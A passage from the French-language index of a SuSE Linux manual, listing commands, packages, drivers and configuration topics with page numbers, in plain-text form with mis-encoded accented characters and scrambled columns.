  36945. MS-Windows  . . . . . . . . . . . 518               ID groupe   . . . . . . . . . . . . 457       opso   . . . . . . . . . . . . . *
  36946.  *. 297, 412
  36947. msdos.sys   . . . . . . . . . . . . . . 143         ID utilisateur   . . . . . . . . . 457        opso_smp   . . . . . . . . . 297,*
  36948.  * 412
  36949. mt   . . . . . . . . . . . . . . . . . . . . . 314  Installation depuis  . . . . . . 85           opsod_smp  . . . . . . . . . . . *
  36950.  *. . 297
  36951. mtools  . . . . . . . . . . . . . 501, 502          Serveur   . . . . . . . . . . . . . . 456     opsod_upops.o.d.s.m.p. ......297,*
  36952.  *.412.....297, 412
  36953. mtools   . . . . . . . 309, 501, 503             nfsd  . . . . . . . . . . . . . . . 167~169      Optics Storage, CD-ROM  . . . .
  36954. mtype  . . . . . . . . . . . . . . . . . . 503   nfsserv   . . . . . . . . . . . . . . . 411            381, 391
  36955. Multiprocessing  . . . . . . . . . 521           NI6510  . . . . . . . . . . . . . . . . . 388    Oracle  . . . . . . . . . . . . .*
  36956.  * . . . . . . . 3
  36957. Multisession, CD-ROM  . . 390                    NIS  . . . . . . . . . . . . . . . . . . . . 165 Oracle 8  . . . . . . . . . . . .*
  36958.  * . . . . . 69
  36959. MultitΓche  . . . . . . . . . . . . . . 521      Niveau d'exΘcution                               OS/2   . . . . . . . . . . . . . *
  36960.  *. 211, 526
  36961. Multiutilisateur   . . . . . . . . . 521            changer   . . . . . . . . . . . . . . 447        Amorτage  . . . . . . . . . . *
  36962.  *. . 136
  36963. mv   . . . . . . . . . . . . . . . . . . . . . 490Niveaux d'exΘcution  . . . . . 446                 Boot  . . . . . . . . . . . . *
  36964.  *. . . . . 137
  36965. Mwm  . . . . . . . . . . . . . . 282, 283        nkit  . . . . . . . . . . . . . . . . . . . 420     Gestionnaire d'amorτage  . . .
  36966. mwrite  . . . . . . . . . . . . . . . . . 503    nkita   . . . . . . . . 172, 354, 413                  119
  36967. MySQL  . . . . . . . . . . . . 413, 460          nkitb   . . . . . . . . 172, 354, 413            OSS   . . . . . . . . . . . . . .*
  36968.  * . . . . . 412
  36969.                                                  nn   . . . . . . . . . . . . . . . . . . . . . 210
  36970. N                                                NNTP  . . . . . . . . . . . . . . . . . . 458    P
  36971. Name Service Cache Daemon                        nntpd   . . . . . . . . . . . . . . . . . . 458  PΘriode d'envoi de fax
  36972.       161                                        nobody  . . . . . . . . . . . . . . . . . 461       SuSEFax  . . . . . . . . . . .*
  36973.  * . . 217
  36974. Name Service Caching                             Nom de domaine  . . . . . . . . 155              PΘriphΘrique  . . . . . . . . . .*
  36975.  * . . 522
  36976.       Daemon                                     Nom de machine  . . . . . . . . 154              Page de garde de fax
  36977.    Initialiser  . . . . . . . . . . . . . 457    Notebook  . . . . . . . . . . . . . . . 317         SuSEFax  . . . . 217, 219, 220
  36978. Name Service Switch  . . . . 160                    IrDA   . . . . . . . . . . . voir IrDA        Page de man   . . . . . 9, 494, 5*
  36979.  *22
  36980. named   . . . . . . . . . . . . . . . . . 457       PCMCIA  . . . . . . . . . . . . . 453         Pages de man  . . . . . . . . . .*
  36981.  * . 443
  36982. ncpfs  . . . . . . . . . . . . . . . . . . 108      Powermanagement  . . . . voir                    Index   . . . . . . . . . . . *
  36983.  *. . . . . 414
  36984. NCR 5380   . . . . . . . . . 375, 384                  APM                                        paket.tgz   . . . . . . . . . . .*
  36985.  * . . . . . 73
  36986. NCR 53c400  . . . . . . . . . . . . 375             Thinkpad  . . . . . . . . . . . . . . 62      PAM   . . . . . . . . . . . . . .*
  36987.  * 112, 411
  36988. NCR 53C400  . . . . . . . . . . . 384            Notification Scheme                                 Mots de passe MD5   . . . 112
  36989. NCR 53c406a  . . . . . . . . . . . 375              SuSEFax  . . . . . . . . . . . . . 215        Panasonic CD-ROM  . . . . . 392
  36990.  
  36991.  
  36992. 578
  36993.        ___________________________________________________________________________________________________________________________I*
  36994.  *ndex__________________
  36995.  
  36996.  
  36997.  
  36998. Panasonic, CD-ROM   . . . . 382                     inf2htm   . . . . . . . . . . . . . 436          rman  . . . . . . . . . . . . *
  36999.  *. . . . . 435
  37000. panel  . . . . . . . . . . . . . . . . . . . 282    inn   . . . . . . . . . . . . . 208, 410         roxen  . . . . . . . . . . . .*
  37001.  * . . . . 415
  37002. paquetage                                           irda  . . . . . . . . . . . . . . . . . 330      roxenint  . . . . . . . . . . *
  37003.  *. . 415
  37004.    3dpixm   . . . . . . . . . . . . . . 285         isapnp   . . . . . 294, 296, 299                 roxenssl  . . . . . . . . . . *
  37005.  *. . 415
  37006.    3dpixms   . . . . . . . . . . . . . 285          isdn4linux  . . . . . . . . . . 175              rpm  . . . . . . . . . . . . .*
  37007.  * . . . . . 420
  37008.    aaa_base  . . . . . . . . . . . . 413            jade_dsl  . . . . . . . . . . . . 409            samba  . . . . . . . . . . . 1*
  37009.  *08, 413
  37010.    apache   . . . . . 415, 435, 470                 john  . . . . . . . . . . . . . . . . . 467      sane  . . . . . . . . . . . . *
  37011.  *. . . . . 312
  37012.    apmd   . . . . . . . . . . . . 328, 329          kernmod  176, 302, 362, 413                      sax  . . . . . . . . . . . . .*
  37013.  * . . . . . 239
  37014.    aps   . . . . 334, 340, 342, 354                 kernmods  . . . . . . . . . . . . 413            scsiinfo  . . . . . . . . . . *
  37015.  *. . 312
  37016.    autofs   . . . . . . . . . . . . . . 457         knfsd  . . . . . . . . . . . 411, 457            scslog   . . . . . . . . . . .*
  37017.  * . . . 474
  37018.    bind   . . . . . . . . . . . . 205, 480          latex-cover   . . . . . . . . 220                sdb  . . . . . . . . . . . . .*
  37019.  * . . . . . 435
  37020.    binutils  . . . . . . . . . . . . 359            ldp  . . . . . . . . . . . . . . . . . . 435     sdb_de   . . . . . . . . . . .*
  37021.  * . . . 435
  37022.    books  . . . . . . . . . . . . . . . . . 10      leafnode  . . . 208, 209, 410                    sdb_en   . . . . . . . 8, 184,*
  37023.  * 407
  37024.    bttv  . . . . . . . . . . . . . . . . . 315      lesstif   . . . . . . . . . . . . . 282          secchk   . . . . . . . . . . .*
  37025.  * . . . 473
  37026.    cdb   . . . . . . . . . . . . . . 59, 244        libc   . . . . . . . . . . . . 359, 420          secumod   . . . . . . . . . . *
  37027.  *. . . 474
  37028.    changes   . . . . . . . . . . . . . 415          libcinfo  . . . . . . . . . . . . 160            sendfax   . . . . . . . . . . *
  37029.  *. . . 211
  37030.    cnews  . . . . . . . . . . . . . . . . 410       linux  . . . . . . . . . . . . . . . . . 10      sendmail   . . . . . . . 471, *
  37031.  *480
  37032.    colortbl  . . . . . . . . . . . . 410            lprold   . . . . . 334, 346, 354                 shlibs5   . . . . . . . . . . *
  37033.  *. . . 409
  37034.    cron   . . . . . . . . . . . . . . x, 442        lrpold   . . . . . . . . . . . . . . 346         snd_au   . . . . . . . . . . .*
  37035.  * . . . 305
  37036.    curses  . . . . . . . . . . . . x, 442           lx_suse  . 10, 176, 302, 359                     snd_mod   . . . . . . . . . . *
  37037.  *. . . 305
  37038.    dhclient  . . . . . . . . . . . . 414            lxpoint   . . . . . . . . . . . . . 412          snd_wav   . . . . . . . . . . *
  37039.  *. . . 305
  37040.    dhcpcd   . . . . . . . . . . . . . . 414         makewhat  . . . . . . . . . . . . 414            so_fr  . . . . . . . . . . . .*
  37041.  * . . . . 544
  37042.    doc  . . . . . . . . . . . . . . . . . . 481     manyfaqs   . . . . . . . . . . . . . . 9         sox  . . . . . . . . . . . . .*
  37043.  * . . . . . 305
  37044.    docbkdsl  . . . . . . . . . . . . 410            mgetty  . . . . . . . . . . 211, 227             sp  . . . . . . . . . . . . . *
  37045.  *. . . . . . 409
  37046.    dochost  . . . . . . . . . 436, 437              modssl   . . . . . . . . . . . . . . 470         squid  . . . . . . . . . . . .*
  37047.  * . . . . 414
  37048.    emu10k1   . . . . . . . . . . . . . 305          mtools   . . . . . 309, 501, 503                 squid2   . . . . . . . . . . .*
  37049.  * . . . 414
  37050.    faxprint  . . . . . . . . . . . . 221            ncpfs  . . . . . . . . . . . . . . . . 108       ssh  . . . . . . . . . 469, 47*
  37051.  *6, 480
  37052.    fhs  . . . . . . . . . . . . . . . . . . 423     ncurses  . . . . . . . . . 415, 442              susefax  . . . . . . . . . 211*
  37053.  *, 220
  37054.    firewals  . . . 202, 473, 476                    net_tool  . . . . . . . . . . . . 354            susehilf  . . . 184, 228, 435
  37055.    fr_howto   . . . . . . . . . . . . . . 9         netcfg   . . . . . . . . . . . . . . 354         susepak   . . . . . . . . . . *
  37056.  *. . . 435
  37057.    ftpdir   . . . . . . . . . . . . . . 423         netpbm   . . . . . . . . . . . . . . 340         susewm   . . . . . . . . . . .*
  37058.  * . . . 282
  37059.    g3utils   . . . . . . . . . . . . . 211          nfsserv   . . . . . . . . . . . . . 411          tcl  . . . . . . . . . . . . .*
  37060.  * . . . . . 363
  37061.    gcc  . . . . . . . . . . . . . . . . . . 359     nkit  . . . . . . . . . . . . . . . . . 420      te_dvilj  . . . . . . . . . . *
  37062.  *. . 340
  37063.    glibndev  . . . . . . . . . . . . 411            nkita   . . . . . . 172, 354, 413                tiff  . . . . . . . . . . . . *
  37064.  *. . . . . 216
  37065.    glimpse   . . . . . . . . . . . . . 412          nkitb   . . . . . . 172, 354, 413                tk  . . . . . . . . . . . . . *
  37066.  *. . . . . . 363
  37067.    gnlibsd   . . . . . . . . . . . . . 411          opso   . . . . . . . . . . . . 297, 412          toppp  . . . . . . . . . . . .*
  37068.  * . . . . 197
  37069.    gnuhtml   . . . . . . . . . . . . . 412          opso_smp   . . . . . . . 297, 412                tripwire  . . . 469, 472, 473
  37070.    gs_x11   . . . . . . . . . . . . . . 216         opsod_smp  . . . . . . . . . . . 297             uucp   . . . . . . . . . . . .*
  37071.  * . . x, 443
  37072.    gsview   . . . . . . . . . . . . . . . 10        opsod_up   . . . . . . . 297, 412                wget  . . . . . . . . . . . . *
  37073.  *. . . . . 419
  37074.    gtkndev   . . . . . . . . . . . . . 411          opsodsmp   . . . . . . . 297, 412                wuftpd   . . . . . . . . . . .*
  37075.  * . . . 412
  37076.    gv  . . . . . . . . . . . . . . . . 10, 216      pbm2l7k   . . . . . . . . . . . . . 354          wvdial   . . . . . . . . . . .*
  37077.  * . . . 172
  37078.    hardsuse  . . . . . . . . . . . . 474            pcmcia  . . . . . . . . . . 325, 326             x3dlabs   . . . . . . . . . . *
  37079.  *. . . 409
  37080.    howto  . . . . . . . . . . . . . . . . 330       PCMCIA   . . . . . . . . . . . . . . 318         xcyrix   . . . . . . . . . . .*
  37081.  * . . . 409
  37082.    howtodeh  . . . . . . . . . . . . 435            pgp  . . . . . . . . . . . . . . . . . . 480     xf86  . . . . . . . . . . . . *
  37083.  *. . . . . 363
  37084.    howtoen   . . . . . . . . . . . . . . . 9        phpdoc   . . . . . . . . . . . . . . 415         xformsd   . . . . . . . . . . *
  37085.  *. . . 411
  37086.    howtoenh  . . . . . . . . . . . . 435            plp  . . . . . . . . . . . . . . . . . . 346     xfsetup   . . . . . . . . . . *
  37087.  *. . . 239
  37088.    htdig  . . . . . . . . . . . 436, 437            postfix  . . . . . . . . . 413, 471              xglint  . . . . . . . . . . 40*
  37089.  *8, 409
  37090.    hylafax  . . . . . . . . . 211, 220              postgres   . . . . . . . 404, 409                xinetd   . . . . . . . . . . .*
  37091.  * . . . 479
  37092.    hyperref  . . . . . . . . . . . . 410            ppa  . . . . . . . . . . . . . . . . . . 354     xlpq  . . . . . . . . . . . . *
  37093.  *. . . . . 336
  37094.    i4l  . . . . . . . . . 108, 176, 450             ppp  . . . . . . . . . . . . . . . . . . 172     xntp  . . . . . . . . . . . . *
  37095.  *. . . . . 459
  37096.    i4ldoc  . . . . . . . . . . 176, 184             ppp_nt   . . . . . . . . . . . . . . 197         xsis  . . . . . . . . . . . . *
  37097.  *. . . . . 409
  37098.    imlibdev  . . . . . . . . . . . . 411            recode   . . . . . . . . . . . . . . 341         xvga16   . . . . . . . . . . .*
  37099.  * . . . 239
  37100.    inetcfg  . . . . 184, 197, 198                   reiserfs  . . . . . . . . . . . . . 91           ypclient   . . . . . . . 107, *
  37101.  *165
  37102.  
  37103.  
  37104.                                                                                                                                    *
  37105.  *   579
  37106. Index             _________________________________________________________________________________________________________________*
  37107.  *_______________________________________@
  37108.  
  37109.  
  37110.  
  37111.    ypserv   . . . . . . . . . . . . . . 167      pcmcia  . . . . . . . . . . . . 325, 326            PΘriphΘrique gΘnΘrique
  37112. Paquetages                                       PCMCIA  . . . . . . 317, 406, 453                      ATAPI   . . . . . . . . . .*
  37113.  * . . . 400
  37114.    Compiler  . . . . . . . . . . . . . 419          APM  . . . . . . . . . . . . . . . . . 323       PΘriphΘrique IDE   . . . . . 3*
  37115.  *99
  37116.    Configurations  . . . . . . . . . 94             cardmgr  . . . . . . . . . . . . . . 318         ParamΦtres du noyau  . . 382,
  37117.    Effacer  . . . . . . . . . . . . . . . 100       Configuration  . . . . . . . . . 318                398
  37118.    Inclure   . . . . . . . . . . . . . . . . 98     Ethernet  . . . . . . . . . . . . . . 319        Pilotes de protocoles IDE   . .
  37119.    Index   . . . . . . . . . . . . . . . . . 98     IDE  . . . . . . . . . . . . . . . . . . 320        399
  37120.    Installation   . . . . . . . . . . . . 97        Installation   . . . . . . . . . . . 326      portmap   . . . 40, 106, 157, 167
  37121.    Recherche  . . . . . . . . . . . . . 98          ISDN   . . . . . . . . . . . . . . . . 319    Portmapper  . . . . . . . . . . .*
  37122.  * . . 456
  37123.    SΘlection   . . . . . . . . . . . . . . 95       Logiciels  . . . . . . . . . . . . . 318      postfix  . . . . . . . . . . . . *
  37124.  *. 205, 456
  37125.    VΘrifier les dΘpendances   98                    Modem   . . . . . . . . . . . . . . 320       postfix  . . . . . . . . . . . 41*
  37126.  *3, 471
  37127. Parallelport                                        Probleme  . . . . . . . . . . . . . 323       Postfix   . . . . . . . . . . . .*
  37128.  * . . . . . 456
  37129.    Architecture spΘcifique   398                    Programmes utilitaires  . 326                 postgres   . . . . . . . . . 404,*
  37130.  * 409
  37131. ParamΦtres de job                                   SchΘma   . . . . . . . . . . . . . . 320      PostgreSQL  . . . . . . . . 404, *
  37132.  *409
  37133.    SuSEFax  . . . . . . . . . . . . . 215           SCSI  . . . . . . . . . . . . . . . . . 320   ppa  . . . . . . . . . . . . . . *
  37134.  *. . . . . . 354
  37135. Pare-feu                                            TokenRing   . . . . . . . . . . . 319         ppp  . . . . . . . . . . . . . . *
  37136.  *. . . . . . 172
  37137.    Application Level Firewalls                   PCMCIA   . . . . . . . . . . . . . . . . 318     PPP  . . . . . . . . . . . . . . *
  37138.  *. . . . . . 171
  37139.       478                                        pep   . . . . . . . . . . . . . . . . . . . . . 69ppp-down   . . . . . . . . . . .*
  37140.  * . . . 199
  37141. Paride  . . . . . . . . . . . . . . . . . . 399  perl  . . . . . . . . . . . . . . . . . . 4, 461 ppp-up  . . . . . . . . . . . . .*
  37142.  * 198, 199
  37143. Partage  . . . . . . . . . . . . . . . . . 230   Permissions  . . . . . . . . . . . . . 461       ppp.chat  . . . . . . . . . . . .*
  37144.  * . . . . 198
  37145. Partition                                        Permissions des fichiers  . . 461                ppp_nt   . . . . . . . . . . . . *
  37146.  *. . . . 197
  37147.    Formatage  . . . . . . . . . . . . . 93       pg   . . . . . . . . . . . . . . . . . . . . . 489pppd  . . . . . . . . . . 171, 1*
  37148.  *72, 198
  37149.    Formater   . . . . . . . . . . . . . . 77     pgp  . . . . . . . . . . . . . . . . . . . . 480 PremiΦre installation  . . . . . *
  37150.  *. 15
  37151.    Swap   . . . . . . . . . . . . . . 70, 88     PGP   . . . . . . . . . . . . . . . . . . . 515     ╚cran d'accueil   . . . . . . *
  37152.  *. . 28
  37153. Partition de swap  . . . . . . 70, 88            Philips CM206   . . . . . 381, 391
  37154.    CrΘer   . . . . . . . . . . . . . . 77, 89    PHP   . . . . . . . . . . . . . . . . . . . 415     MΘthode d'amorτage
  37155. Partition Magic   . . . . . . . . . . 45         phpdoc   . . . . . . . . . . . . . . . . 415           ultΘrieure  . . . . . . . .*
  37156.  * . . . . 44
  37157. Partition racine  . . . . . . . . . . 371        Pilote d'imprimante   . . . . . 398                 Amorcer α partir du CD2  56
  37158. Partitionnement  . . . . . . . . . 545           Pilotes d'impression  . . . . . voir                Conditions  . . . . . . . . . *
  37159.  *. . . . 28
  37160.    AvancΘ  . . . . . . . . . . . . . . . . 68          Filtres d'impression                          Configuration de base  . . . 39
  37161.    DΘbutants   . . . . . . . . . . . . . 67      pine  . . . . . . . . . . . . . . . . . . . . 210   Configuration du rΘseau  . 40
  37162. Partitionner  . . . . . . . . . . . 54, 88       ping   . . . . . . . . . . . . . . . . . . . 472    Configurer les partitions  . 75
  37163.    le disque dur  . . . . . . . . . . . 88       Pipe   . . . . . . . . . . . . . . . . . . . 522    Copier des paquetages   . . 46
  37164. Partitions                                       Planter  . . . . . . . . . . . . . . . . . 537      crΘer des disquettes
  37165.    Θtendues  . . . . . . . . . . . . . . . 89    PLIP                                                   d'amorτage avec Unix   58
  37166.    logiques  . . . . . . . . . . . . . . . 89       Port parallΦle   voir MatΘriel,                  DΘmarrer YaST   . . . . . . . *
  37167.  *. 33
  37168.    primaire  . . . . . . . . . . . . . . . 89          Port parallΦle                                DΘterminer le mot de passe
  37169.    SupplΘmentaires   . . . . . . 546             plp  . . . . . . . . . . . . . . . . . . . . . 346     root  . . . . . . . . . . .*
  37170.  * . . . . . . 41
  37171.    Types   . . . . . . . . . . . . . . . . . 67  plp  . . . . . . . . . . . . . . . . . . . . 346    DΘterminer les points de
  37172. Partitions Θtendues   . . . . . . . 89           PlugAndPlay   . . . . . . . . . . . 294                montage  . . . . . . . . . *
  37173.  *. . . . 77
  37174. Partitions logiques  . . . . . . . . 89          pnpdump   . . . . . . . . . . 294~296               DΘterminer les systΦmes de
  37175. Partitions primaire  . . . . . . . . 89          Point de montage   . . . . 91, 522                     fichiers  . . . . . . . . .*
  37176.  * . . . . . 77
  37177. Pas de clavier franτais en mode                  Pointer  . . . . . . . . . . . . . . . . . 260      Descriptions de problΦmes   .
  37178.       MS-DOS  . . . . . . . . . . . . 60         Pointeur souris  . . . . . . . . . . 281               59
  37179. Pas de pilote de CD-ROM  . 60                    Polices  . . . . . . . . . . . . . . . . . 279      Disquettes d'amorτage  . . 57
  37180. Passerelle  . . . . . . . . . . 156, 163         Port parallΦle   . . voir MatΘriel,                 Formater le disque dur  . . 77
  37181.    2 cartes rΘseau  . . . . . . . . 379                Port parallΦle                                Installer les logiciels  . . .*
  37182.  * . 37
  37183. passwd  . . . . . . . . . . . . . . . . . 166       CD-ROM ATAPI  . . . . . . 399                    Installer les paquetages  . 37,
  37184. PATH   . . 6, 199, 270, 272, 475,                   Disque dur IDE  . . . . . . . 399                   42
  37185.       484, 527                                      Lecteur de bandes ATAPI   . .                    Installer loadlin   . . . . . *
  37186.  *. . . 52
  37187. Patrick Volkerding  . . . . . . . . 12                 400                                           linuxrc   . . . . . . . . . . *
  37188.  *. . . . . . 29
  37189. pbm2l7k   . . . . . . . . . . . . . . . 354         Lecteur de disquettes ATAPI                      Login   . . . . . . . . . . . *
  37190.  *. . . . . . 43
  37191. PC  . . . . . . . . . . . . . . . . . . . . . 522      399                                           Login :  . . . . . . . . . . .*
  37192.  * . . . . . 41
  37193.  
  37194.  
  37195. 580
  37196.        ___________________________________________________________________________________________________________________________I*
  37197.  *ndex__________________
  37198.  
  37199.  
  37200.  
  37201.    MΘcanisme d'amorτage avec                     ps    . . . . . . . . . . . . . . . . . . . . . 498rm  . . . . . . . . . . . . . .*
  37202.  * . . . . . . . 490
  37203.       loadlin   . . . . . . . . . . . . . 143    pstree       . . . . . . . . . . . . . . . . 499 rman  . . . . . . . . . . . . . .*
  37204.  * . . . . . 435
  37205.    MΘthodes d'amorτage   . . 51                                                                   rmmod  . . . . . . . . . . . . . *
  37206.  *. . . . 360
  37207.    Modem  . . . . . . . . . . . . . . . . 41     Q                                                RNIS   . . . . . . . . . . . . . *
  37208.  *. . . . . 525
  37209.    Partitionner  . . . . . . . . . . . . 54      qmail   . . . . . . . . . . . . . . . . . . 205  ROM   . . . . . . . . . . . . . .*
  37210.  * . . . . 525
  37211.    SΘlectionner des logiciels  36                Queue  . voir File d'impression                  root  . . . . . . . . . . . . . .*
  37212.  * . . . . . . . 41
  37213.    SΘlectionner la configuration                 Queueing agent                                   Root  . . . . . . . . . . . . . .*
  37214.  * . . . . . 525
  37215.       36                                            HylaFAX  . . . . . . . . . . . . . 224           Se connecter α distance   462
  37216.    SΘlectionner le noyau  . . . 38                                                                Routage
  37217.    Se connecter  . . . . . . . . . . . 43        R                                                   route.conf  . . . . . . . . . *
  37218.  *. 164
  37219.    Sendmail  . . . . . . . . . . . . . . 40      RΘduire la partition  . . . . . . . 54           route  . . . . . . . . . . . . . *
  37220.  *. . . . . . 440
  37221.    Setup   . . . . . . . . . . . . . . . . . 50  RΘinitialisation  . . . . . . . . . . 523        route.conf  . . . . . . . . . . .*
  37222.  * . 164
  37223.    Situation de dΘpart   . . . . . 28            RΘpertoire  . . . . . . . . . . . . . . 523      routed  . . . . . . . . . . . . .*
  37224.  * . . . . . 457
  37225.    Souris  . . . . . . . . . . . . . . . . . 41     Changer  . . . . . . . . . . . . . . 486      Routeur   . . . . . . . . . . . .*
  37226.  * . . . . 478
  37227.    Windows 95                                       CrΘer   . . . . . . . . . . . . . . . . 486      IP Forwarding   . . . . . . . *
  37228.  *. 455
  37229.   Mode DOS   . . . . . . . . . . . . . 50           Effacer  . . . . . . . . . . . . . . . 486    roxen  . . . . . . . . . . . . . *
  37230.  *. . . . . 415
  37231. PremiΦre installation de Linux                   RΘpertoire personnel  . . . . . 524              Roxen  . . . . . . . . . . . . . *
  37232.  *. . . . . 415
  37233.       15                                         RΘpertoire racine  . . . . . . . . 524           roxenint  . . . . . . . . . . . .*
  37234.  * . . 415
  37235. printcap  . . . . . . . . . . . . . . . . 338    RΘseau   . . . . . . . . . . . . 153, 524        roxenssl  . . . . . . . . . . . .*
  37236.  * . . 415
  37237. PRINTER   . . . . . . . . . . . . . . . 335         Configuration  . . . . . . . . . 156          RPC Portmapper  . . . . . . . . 1*
  37238.  *67
  37239. PrioritΘ des jobs                                   YaST   . . . . . . . . . . . . . . . . 106    rpc.mountd  . . . . . . . . . 167*
  37240.  *, 456
  37241.    SuSEFax  . . . . . . . . . . . . . 216           Dummy device  . . . . . . . . 454             rpc.nfsd  . . . . . . . 106, 167,*
  37242.  * 456
  37243. Pro Audio Spectrum   372, 381                       Fichiers de configuration  . . .              rpm  . . 410, 414, 415, 419, 420
  37244. Pro Audio Spectrum 16  . . 381                         158                                        rpm     . . . . . . . . . . . . .*
  37245.  * . . 415, 525
  37246. ProblΦmes                                        RΘseau Θtendu   . . . . . . . . . . 524          rpm  . . . . . . . . . . . . . . *
  37247.  *. . . . . . 420
  37248.    PremiΦre installation  . . . . 59             RΘseau local  . . . . . . . . . . . . 524        RPM   . . . . . . . . . . . . . .*
  37249.  * 415, 525
  37250. Proc   . . . . . . . . . . . . . . . . . . . 523 RΘsolution de l'Θcran  . . . . 262                  Base de donnΘes   . . . . . . *
  37251.  *461
  37252. ProcΘdure d'amorτage  . . . 117                  radius  . . . . . . . . . . . . . . . . . . 458  RPM (rpm  )
  37253. Processeur  . . . . . . . . . . . . . . 523      Radius   . . . . . . . . . . . . . . . . . 458      rpmorig   . . . . . . . . . . *
  37254.  *. . . 415
  37255.    Cyrix 686   . . . . . . . . . . . . . 38      RAM  . . . . . voir MΘmoire, 523                    rpmsave   . . . . . . . . . . *
  37256.  *. . . 415
  37257. Processus  . . . . . . . . . . . . . . . 523     RAMDAC  . . . . . . . . . . . . . . 254          run_ldconfig   . . . . . . . . . *
  37258.  *415
  37259. procmail   . . . . . . . . . . . . . . . 207     rawip   . . . . . . . . . 180, 181, 184          Runlevel   . . . . . . . . . . . *
  37260.  *. . . . 525
  37261. Programmation                                    rawip-HDLC   . . . . . . . . . . . 180           rwhod  . . . . . . . . . . . . . *
  37262.  *. . . . . 457
  37263.    Fichiers core  . . . . . . . . . . 496        rawrite   . . . . . . . . . . . . . . . . . . 58 rxvt  . . . . . . . . . . . . . .*
  37264.  * . . . . . . 190
  37265. Programme  . voir Application,                   rawrite.exe  . . . . . . . . . . . . . . . 58
  37266.       523                                        rc  . . . . . . . . . . . . . . . . . . . . . . 447S
  37267.    Appel  . . . . . . . . . . . . . . . . 483    /etc/rc.config            . . . . . . . 450      S.u.S.E.   . . . . . . . . . . vo*
  37268.  *ir SuSE
  37269.    Compiler  . . . . . . . . . . . . . 419       rc.config  . . . . . . . . . . . . . 451         SΘcuritΘ  . . . . . . . . . . . .*
  37270.  * . . . . 465__
  37271. Programme d'Θmulation de                         rcp.ugidd  . . . . . . . . . . . . . . . 457        Firewall  . . . . . . . . . . *
  37272.  *. . . . 201
  37273.       terminal  . . . . . . . . . . . . 190      reboot  . . . . . . . . . . . . . . . . . . 483     Impression   . . . . . . . . .*
  37274.  * . . 338
  37275. Programmes                                       Reboot   . . . . . . . . . . . . 370, 460           Pare-feu  . . . . . . . . . . *
  37276.  *. . . . 201
  37277.    Code source   . . . . . . . . . . . 95        Receive queue                                    SΘlection  . . . . . . . . . . . *
  37278.  *. . . . 525
  37279.    Installer  . . . . . . . . . . . . . . 544       SuSEFax  . . . . . . . . . . . . . 212           Support d'installation  . . . *
  37280.  *83
  37281. Prompt  . . . . . . . . . . . . . . . . . 523    Recherche plein texte  . . . . 437               SΘlection de la zone horaire   . .
  37282. PropriΘtΘs du systΦme                            recode   . . . . . . . . . . . . . . . . 341           voir YaST2, sΘlectionner
  37283.    SuSEFax  . . . . . . . . . . . . . 211        reiserfs   . . . . . . . . . . . . . . . 91            la zone horaire
  37284. ProtΘger les zones d'E/S   . 370                 Reset   . . . . . . . . . . . . . . . . . . 370  SΘlection des sΘries  . . . . . .*
  37285.  * . 95
  37286. Protocole  . . . . . . . . . . . . . . . 523     resolv.conf   . . . . . . . . . . . . . 162      SΘlection du noyau   . . . . . . *
  37287.  *104
  37288. Proxy                                            RFC1861  . . . . . . . . . . . . . . . 221       SΘlectionner des logiciels   . 36
  37289.    FTP  . . . . . . . . . . . . . . . . . . 459  RFC959  . . . . . . . . . . . . . . . . 221      SΘlectionner des paquetages  . .
  37290.    Gopher  . . . . . . . . . . . . . . . 459     Richard Stallman  . . . . . . . . 517                  36
  37291.    HTTP  . . . . . . . . . . . . . . . . 459     rlogin  . . . . . . . . . . . . . . 456, 462     SΘlectionner la disposition du
  37292. ps   . . . . . . . . . . . . . . . . . . . . . 523Rlogin   . . . . . . . . . . . . . . . . . 524        clavier   . . . . . . . . .*
  37293.  * . . . . . 83
  37294.  
  37295.  
  37296.                                                                                                                                    *
  37297.  *   581
  37298. Index             _________________________________________________________________________________________________________________*
  37299.  *_______________________________________@
  37300.  
  37301.  
  37302.  
  37303. sΘrie                                            SCSI                                             ServerFlags  . . . . . . . . . . *
  37304.  *. . . 260
  37305.    a  91, 95, 172, 176, 354, 526                    Adaptec                                       Serveur   . . . . . . . . . . . .*
  37306.  * . . . . 525
  37307.    a1  . . . . . . . . . . . . . . . . 96, 318         AHA-152x/151x/1505  . . .                     FTP  . . . . . . . . . . . . .*
  37308.  * . . . . . 516
  37309.    ALL  . . . . . . . . . . . . . . . . . . . 95       384                                        Serveur de fax
  37310.    ap   294, 312, 328, 341, 354,                    AdvanSys   . . . . . . . . . . . . 373           HylaFAX  . . . . . . . . . . .*
  37311.  * . . 221
  37312.       435, 502                                      AHA-152x/151x/1505  . 372                     Serveur de mail
  37313.    books  . . . . . . . . . . . . . . . . 481       AHA-154x   . . . . . . . . . . . 372             Postfix   . . . . . . . . . . *
  37314.  *. . . . . 456
  37315.    d   . . . . . . . . . . . . . . . . . . . . 176  AHA-274x   . . . . . . . . . . . 372          Serveur de messagerie  . . . 545
  37316.    D   . . . . . . . . . . . . . . . . . . . . 359  AHA-284x   . . . . . . . . . . . 372          Serveur de noms   . . . 157, 159,
  37317.    doc  . . . . 8~10, 59, 160, 176,                 AHA-294x   . . . . . . . . . . . 372                162, 455
  37318.       184, 197, 228, 407, 423,                      AM53/79C974  . . . . . . . . 373                 Configuration  . . . . . . . .*
  37319.  * . 107
  37320.       435, 436                                      Future Domain  . . . 374, 375,                Serveur FTP
  37321.    gra   . . . . . 10, 312, 315, 340                   384                                           Mise en place  . . . . . . . .*
  37322.  * . 423
  37323.    n  . . 107, 108, 165, 167, 172,                  LUN  . . . . . . . . . . . . . . . . . 372    Serveur HTTP
  37324.       176, 197, 208, 209, 221,                      NCR 5380   . . . . . . . 375, 384                Mise en place  . . . . . . . .*
  37325.  * . 423
  37326.       227, 354, 412, 435~437,                       NCR 53c400  . . . . . . . . . . 375           Serveur NFS  . . . . . . . . . . *
  37327.  *. . 167
  37328.       457, 470, 479                                 NCR 53C400  . . . . . . . . . 384             Serveur NIS   . . . . . . . . . .*
  37329.  * . . 166
  37330.    paquetages  sources   . 95                       NCR 53c406a  . . . . . . . . . 375            Serveur NNTP  . . . . . . . . . .*
  37331.  * 455
  37332.    pay   . . . . . . . . . . . . . 297, 544         Seagate ST01/02  . . . . . . 375              Serveur Novell
  37333.    sec  . . . . 202, 467, 469, 470,                 streamers  . . . . . . . . . . . . . 371         Emulation  . . . . . . . . . .*
  37334.  * . . 459
  37335.       472~474, 476, 480, 543                        TMC-16x0  . . . . . . . 374, 384              Serveur WWW   . . . . . . . . . 5*
  37336.  *45
  37337.    sgm  . . . . . . . . . . . . . . . . . . 410     TMC-885/950   . . . . . . . . 375             Serveur X   . . . . . . . . . . .*
  37338.  * . . . 525
  37339.    snd  . . . . . . . . . . . . . . . . . . 305     Trantor T128/128F/228   375                   Serveurs de noms   . . . . . . . *
